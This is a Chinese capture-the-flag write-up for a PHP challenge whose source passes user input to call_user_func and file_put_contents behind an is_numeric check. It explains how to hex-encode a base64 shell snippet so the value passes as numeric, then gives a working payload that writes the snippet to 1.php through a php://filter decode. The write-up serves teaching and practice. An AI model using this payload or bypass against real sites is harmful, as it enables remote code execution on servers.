<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
知识点
1、call_user_func
不仅可以调用用户自定义函数,还可以调用php内置函数。第一个参数为函数名,第二个参数为调用函数的参数。当然可能不止一个。
2、file_put_contents
向指定文件写入内容。第一个参数文件名,第二个参数文件内容。
3、is_numeric
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
所谓的数字字符串即 字符串内全是数字。(解题关键)
注意:这个函数在php5.X会 将0x开头的16进制 识别为数字,返回TRUE。但是在7.0版本则不可以。
5、substr($str,$n)
返回 指定的字符串str 从n往后的字符串
6、hex2bin
php内置函数。将16进制转换为ascii码
7、php运算符优先级
看这个文章:php下 && 和 and的区别_m0_46607055的博客-CSDN博客
解题思路:
利用v2传入 一句话木马的hex编码,并且在头部加上两个数字。 v1 传入hex2bin函数名。利用call_user_func 转为木马。 同时,v3传入 文件名。用file_put_contents 写入 木马。
但是题目环境没有配置好,是7.X的。is_number 对16进制数字不返回TRUE。
那么怎么绕过呢。 利用数字字符串。
步骤如下。将
<?=`cat *`;?>
先base64编码。 ==> PD89YGNhdCAqYDs=
在base64中,等号不是必须的,可以省略。详见 base64编码原理。
所以我们只需将, PD89YGNhdCAqYDs 转为16进制。 得到
5044383959474e6864434171594473
为什么这样做?
因为base64的编码范围 a-z A-Z 0-9 /= 这些字符经过16进制编码后为大部分为数字(基本都在ascii码范围内),属于数字字符串,所以有机会绕过。 如果中间有 字母e,那么完全会被is_numberic 当成 科学计数法!!!
所以我们已经选好了合适的字符串。
与此同时,因为有了base64编码。所以v3要用php伪协议解码后传入数据。
那么payload:
get传参: ?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post传参:v1=hex2bin
访问1.php的源码得到flag
参考博客:
ctfshow php特性系列_xiaolong22333的博客-CSDN博客_ctfshow php特性
103同理